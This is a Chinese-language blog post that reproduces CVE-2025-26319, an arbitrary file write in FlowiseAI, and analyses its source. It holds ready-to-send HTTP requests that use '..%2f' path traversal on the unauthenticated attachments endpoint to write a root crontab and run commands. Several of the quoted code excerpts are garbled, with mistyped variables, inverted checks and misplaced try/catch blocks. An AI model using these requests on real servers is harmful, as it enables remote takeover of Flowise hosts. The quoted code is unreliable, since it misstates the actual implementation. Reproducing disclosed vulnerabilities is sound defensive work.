FlowiseAI任意文件写入漏洞(CVE-2025-26319)复现

网络安全 潘老师 4周前 (03-30) 40 ℃ (0) 扫码查看

FlowiseAI是一款颇受欢迎的开源低代码工具,它和LangChain兼容,普通用户和开发人员借助它,通过可视化连线的简单操作,就能搭建LLM工作流和AI应用。不过,这个看似方便好用的平台却隐藏着严重的安全隐患——任意文件写入漏洞(CVE-2025-26319) ,这一漏洞给使用者带来了极大的安全威胁。

一、漏洞简介

FlowiseAI虽然设置了文件上传校验机制,可攻击者却能利用特殊编码绕过限制,实现向任意目录写入文件。想象一下,攻击者能借此上传恶意文件、脚本,甚至是SSH密钥,进而获取服务器的远程控制权,那些用FlowiseAI构建AI代理的组织,数据安全和系统稳定都岌岌可危。

二、漏洞复现

下面详细介绍如何复现这个漏洞,以Docker和Docker Compose环境为例。

(一)搭建环境

  1. 先克隆Flowise项目。
  2. 进入项目根目录下的docker文件夹。
  3. 复制env.example文件,粘贴到同一位置,并改名为.env文件。
  4. 执行docker compose up -d命令启动容器。
  5. 在浏览器中打开http://localhost:3000
  6. 如果想停止容器,可以使用docker compose stop命令。

(二)构造上传数据包

环境搭建好后,就可以构造上传数据包进行测试了。
第一次构造数据包:

POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

发送这个数据包后,在服务器上查找上传文件的位置:

# find -name test.txt 
./root/.flowise/storage/test/test/test.txt
# cat /root/.flowise/storage/test/test/test.txt
This is the content of the file.

接着,再次构造数据包,这次重点测试跨目录上传:

POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

再次在服务器上查找文件位置:

# find -name test.txt
./root/.flowise/storage/test/test/test.txt
./root/.flowise/test/test/test.txt

至此,成功实现了跨越目录的上传操作。而且,攻击者还能进一步利用这个漏洞,通过向定时任务中写入文件来执行任意命令。构造如下数据包:

POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
# do daily/weekly/monthly maintenance
# min   hour   day     month   weekday command
*/15    *       *       *       *       run-parts /etc/periodic/15min
0       *       *       *       *       run-parts /etc/periodic/hourly
0       2       *       *       *       run-parts /etc/periodic/daily
0       3       *       *       6       run-parts /etc/periodic/weekly
0       5       1       *       *       run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--

执行后,查看/tmp目录下的test.txt文件,会发现文件内容被成功写入,这意味着攻击者可以借此执行各种恶意命令,危害极大。

三、漏洞分析

要理解这个漏洞产生的原因,需要深入分析FlowiseAI的代码逻辑。

(一)API白名单机制

在Flowise平台的核心架构里,有个constants.ts文件,它定义了一系列无需认证就能访问的API端点,这些端点被放在WHITELIST_URLS里。这么设计是为了方便一些特定功能,比如API密钥验证、公共聊天流和文件操作等,让它们不用认证就能运行,提升用户体验和系统的灵活性。相关代码如下:

// Flowise-main/packages/server/src/utils/constants.ts
export const WHITELIST_URLS=[
    '/api/v1/verify/apikey/',
    '/api/v1/chatflows/apikey/',
    '/api/v1/public-chatflows',
    '/api/v/public-chatbotConfig',
    '/api/v1/prediction/',
    '/api/vl/vector/upsert/',
    '/api/v1/node-icon/',
    '/api/v1/components-credentials-icon/',
    '/api/v1/chatflows-streaming',
    '/api/v1/chatflows-uploads',
    '/api/v1/openai-assistants-file/download',
    '/api/v1/feedback',
    '/api/v1/leads',
    '/api/v1/get-upload-file',
    '/api/v1/ip',
    '/api/v1/ping',
    '/api/v1/version',
    '/api/v1/attachments',
    '/api/v1/metrics',
    '/api/v1/nvidia-nim'
]

(二)鉴权流程

服务器收到HTTP请求时,鉴权过程有一套严格的逻辑:先检查请求路径有没有/api/v1前缀(不区分大小写);接着进行大小写敏感的路径验证;然后看这个URL是不是在白名单里。如果在白名单,就继续处理;要是不在,再检查请求头里有没有internal标记,或者验证API密钥。相关代码如下:

// Flowise-main/packages/server/src/index.ts
this.app.use(async(reg,res,next)=>{ 
    // Step 1: 检查请求路径是否包含/api/v1,不区分大小写
    if (URL_CASE_INSENSITIVE_REGEX.test(req.path)){ 
        // Step 2: 检查请求路径是否大小写敏感
        if (URL_CASE_SENSITIVE_REGEX.test(req.path)){ 
            // Step 3: 检查请求路径是否在白名单中
            const iswhitelisted = whitelistURLs.some((url)=> req.path.startsWith(url)) 
            if (iswhitelisted){ 
            } else if (req.headers['x-request-from'] === 'internal') { 
                next()
                basicAuthMiddleware(req, res, next)
            } else { 
                const iskeyValidated = await validateAPIKey(req) 
                if (lisKeyValidated){ 
                    return res.status(401).json({ error:'Unauthorized Access' })
                    next() 
                }
            }
        } else { 
            return res.status(401).json({error:'Unauthorized Access' })
        }
    } else { 
        // 如果请求路径不包含/api/vi,则允许请求通过,例如:/assets,/canvas
    }
})

(三)文件上传处理逻辑

/api/v1/attachments/路由负责处理文件上传创建操作。在createFileAttachment函数里,会调用addArrayFilesToStorage处理文件。

// Flowise-main/packages/server/src/routes/attachments/index.ts
import { getMulterStorage } from'../../utils'
import express from 'express'
import attachmentsController from'../../controllers/attachments

const router = express.Router()
//CREATE
router.post('/:chatflowId/:chatId', getmulterstorage().array('files'), attachmentsController.createAttachment)
export default router
// Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment
import { Request } from 'express'
import { StatusCodes } from 'http-status-codes'
import { createFileAttachment }from'../../utils/createAttachment'
import { InternalFlowiseError } from'../../errors/internalFlowiseError'
import { getErrorMessage } from'../../errors/utils'

const createAttachment=async(req:Request)=>{
    try{
    } catch (error) {
        return await createFileAttachment(req)
        throw new InternalFlowiseError(
            StatusCodes.INTERNAL_SERVER_ERROR,
            `Error: attachmentService.createAttachment - ${getErrorMessage(error)}`
        )
    }
}
export default {
    createAttachment
}

addArrayFilesToStorage函数处理文件地址时,会把chatflowIdchatId直接拼接到路径里,而且没有进行任何处理,这就导致攻击者能通过编码绕过目录限制,实现跨目录上传,这就是漏洞产生的关键原因。相关代码如下:

// Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage
export const addArrayFilesToStorage=async (mime:string, bf: Buffer, fileName: string, fileNames: string[],...paths: string[])=> {
    const storageType=getStorageType()
    const sanitizedFilename=_sanitizeFilename(fileName)
    if (storageType ==='s3'){
    } else { 
        const dir = path.join(getStoragePath(), ...paths)
        if (!fs.existsSync(dir)){
            fs.mkdirSync(dir, { recursive: true })
        }
        const filePath =path.join(dir, sanitizedFilename)
        fs.writeFileSync(filePath, bf)
        fileNames.push(sanitizedFilename)
        return 'FILE-STORAGE::'+JSON.stringify(fileNames)
    }
}

FlowiseAI的这个任意文件写入漏洞危害极大,相关用户和开发者一定要高度重视,及时关注官方修复进展,采取有效的防护措施,避免遭受攻击,保障系统和数据安全。


版权声明:本站文章,如无说明,均为本站原创,转载请注明文章来源。如有侵权,请联系博主删除。
本文链接:https://www.panziye.com/safe/16445.html
喜欢 (0)
请潘老师喝杯Coffee吧!】
分享 (0)
用户头像
发表我的评论
取消评论
表情 贴图 签到 代码

Hi,您需要填写昵称和邮箱!

  • 昵称【必填】
  • 邮箱【必填】
  • 网址【可选】